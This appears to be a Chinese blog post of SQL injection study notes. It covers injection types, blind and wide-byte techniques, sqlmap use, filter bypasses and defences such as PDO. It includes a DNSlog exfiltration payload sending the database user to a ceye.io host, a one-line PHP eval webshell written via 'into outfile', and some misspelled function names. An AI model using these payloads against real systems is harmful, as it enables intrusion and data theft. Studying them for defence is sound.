当前位置:网站首页>sql注入
sql注入
2022-07-27 09:56:00 【不会就跑路的小白】
sql注入
什么是sql注入?
用户输入的参数未经处理直接带入数据库中进行查询,sql注入属于服务端攻击,他与操作系统,数据库类型,脚本语言无关。
sql注入通常存在?
url参数框:
xxx.asp?id=xx
xxx.php?id=xx
xxx.jsp?id=xx
登陆的地方,出现更新的地方,注册的地方,留言板等。
http头部,cookies,reference,unsagent,post的提交数据。
sql注入的分类?
数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
加单引号,URL:www.text.com/text.php?id=3’ 会出现报错单引号报错
字符型:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
搜索型:可以理解为文本框注入,即一般网页可以填写的文本框, get注入网页url框
注入提交方法?
get post cookie提交
注入攻击类型?
1.union注入
一般和order by,scheinformation_schem连用,爆数据库名,表名,列名,到最后的列数据。
2.报错注入
updatexml: and updataxml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.
extractvalue:and extravtvalue(1,concat(0x7e,())) --+ 一共可以接收两个参数,报错位置在第二个参数
floor:or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)–+ 原因是键值重复
还有那几个数学函数:
链接:https://blog.csdn.net/weixin_54217950/article/details/122938063
3.http头部注入(工具burpsuit)
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实 现伪造IP])。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
4.盲注
时间盲注
基于数据库长度的时间盲注:andif((length(database()=8)),sleep(5),1)–+
基于数据库名的盲注:
and if((substr((select database())),1,1)=‘s’),sleep (2),1)–+
基于数据库名长度的盲注:
and if ((ascii(substr((select database()),1,1))>80),sleep(3),1)–+ 注意:可以使用二分法进行盲注。
布尔盲注
Web页面仅仅返回类似True或False的两种结果。
注入方式:进行SQL注入之后,根据页面返回的True或者是False来得到数据库中 的相关信息
判断数据库名长度:
and length(select database())=8)–+
判断数据库表名长度:
and substr((select database()),1,1)=‘s’–+
5.宽字节注入(突破字符转义)
与gbk有关,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
原理:%df和后面的/(%5c)变成一个汉字運,使得’逃逸出来。
**原因:根据gbk编码规则,第一个汉字ascii码大于128既可以了,如我们不用%df,用%a1也可以。%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。
装逼继续说:gb2312和gbk会发生什么呢,gb2312,也是不成功的。这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。只要低位的范围中含有0x5c的编码,就可以进行宽字符注入**
预防方法?
gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。
矫正人们对于mysql_real_escape_string的误解,单独调用
set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。
6.二次注入
举一个简单的例子:
第一次用户名:admin # +正常密码
第二次修改密码的时候我们修改admin #用户的密码的时候,发现admin的用户密码也修改了。
7.dnslog外带,在没有回显情况下。
注意:loda_file函数在mysql8.0版本之后已经被弃用。
使用场景:
场景一:没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
场景二:此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。
Mysql 中利用 load_file() 构造 payload:and load_file(concat(“\\”,hex(user()),“.ajma31.ceye.io\abc”))# 注意:这里因为结果里含有@关键字所以结果需要准换成十六进制编码才能实现。并且这里的.ajma31.ceye.io自己申请的,每个都不同。链接:https://blog.csdn.net/weixin_54217950/article/details/122972755
8.写webshell
数据库中into outfile语句把表数据导出到一个文本文件中,那么利用这个语句,再配合满足的‘三个条件’,即可实现文件或者一句话木马导入到数据库文件的目录中。
语句:
union select 1,2,3 into outfile “D:\phpstudy_pro\www\a.php”–+
union select “<?php @eval($_POST['123']);?>”,
条件:
root 权限、网站的绝对路径、需要数据库开启 secure_file_priv 相当于 secure_file_priv的值为空,不为空不充许写入 webshell (默认不开启,需要修改 my.ini 配置文件)。
sqlmap结合burpsuit进行注入
1.如果是 get 注入,直接,sqlmap -u “注入点网址”.
2.如果是 post 注入,可以 sqlmap –r "burp 地址访问包”
3.如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号替换,放到文件里,然后 sqlmap -r “文件地址”,记得加上—level 3 参数。
SQL 注入防护方法?
1、涵数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字
2、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本
3、使用白名单来规范化输入验证方法
4、使用 Waf 拦截
5、采用 PDO 预处理
预编译能否 **100%**防sql注入,如果不能,写一个
不能。
一、
$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(**array**($var));
类似于宽字节注入
二、
$dbh = **new** PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where usern ame = :username');
$stmt->execute( **array**(':username' => $_REQUEST['username']));
参数 name 是一串数组,PDO 不会生效
sql注入参数过滤:
1.过滤and or 等关键字 (and可以用&&或者||代替)
2.过滤注释入-- # ' " 可以用 ;%00进行截断或者 '1'='1
3.过滤空格(\s)最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。
在MySQL中,用/**/ 注释可以用() 绕过。通过编码绕过:空格可以用。
4.= 等号的绕过 (我们可以通过使用/**/like/**/或者/**/regexp/**/
5.语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过。
边栏推荐
- 7/26 thinking +dp+ suffix array learning
- How does data analysis solve business problems? Here is a super detailed introduction
- Dcgan paper improvements + simplified code
- Interview Essentials: shrimp skin server 15 consecutive questions
- Concurrent thread state transition
- Leetcode.814. binary tree pruning____ DFS
- 直播倒计时 3 天|SOFAChannel#29 基于 P2P 的文件和镜像加速系统 Dragonfly
- Xiandai 004
- Stylegan paper notes + modify code to try 3D point cloud generation
- 3D face reconstruction and dense alignment with position map progression network
猜你喜欢
![Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断](/img/65/a735ca2c2902e3fc773dda79438972.png)
Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断

面试必备:虾皮服务端15连问

Vs2019 Community Edition Download tutorial (detailed)

Food safety | is sugar free really sugar free? These truths need to be known

Explain knative cloud function framework in simple terms!

Shell read read console input, use of read
[email protected], "/>Shell variables, system predefined variables $home, $pwd, $shell, $user, custom variables, special variables $n, $, $*, [email protected],

oracle rac 19c pdb实例当掉

Brush the title "sword finger offer" day03

Xiandai 003
随机推荐
Huawei switch dual uplink networking smart Link Configuration Guide
SE(Squeeze and Excitation)模块的理解以及代码实现
Fsm onehot 答题记录
Word2vec principle and application and article similarity (recommended system method)
Food safety | the more you eat junk food, the more you want to eat it? Please keep this common food calorimeter
3D人脸重建:Joint 3D Face Reconstruction and Dense Alignment with position Map Regression Network
Leetcode.1260. 2D grid migration____ In situ violence / dimensionality reduction + direct positioning of circular array
hdu5288(OO’s Sequence)
Food safety | is sugar free really sugar free? These truths need to be known
Shell变量、系统预定义变量$HOME、$PWD、$SHELL、$USER、自定义变量、特殊变量$n、$#、$*、[email protected]、$?、env看所有的全局变量值、set看所有变量
Uninstall cuda11.1
StyleGAN论文笔记+修改代码尝试3D点云生成
Come on, chengxujun
Failure of CUDA installation nsight visual studio edition failed
Anaconda安装(非常详细)
二叉树习题总结
超赞的卡尔曼滤波详解文章
3D face reconstruction and dense alignment with position map progression network
Food safety | are you still eating fermented rice noodles? Be careful these foods are poisonous!
Anchor Free检测器:CenterNet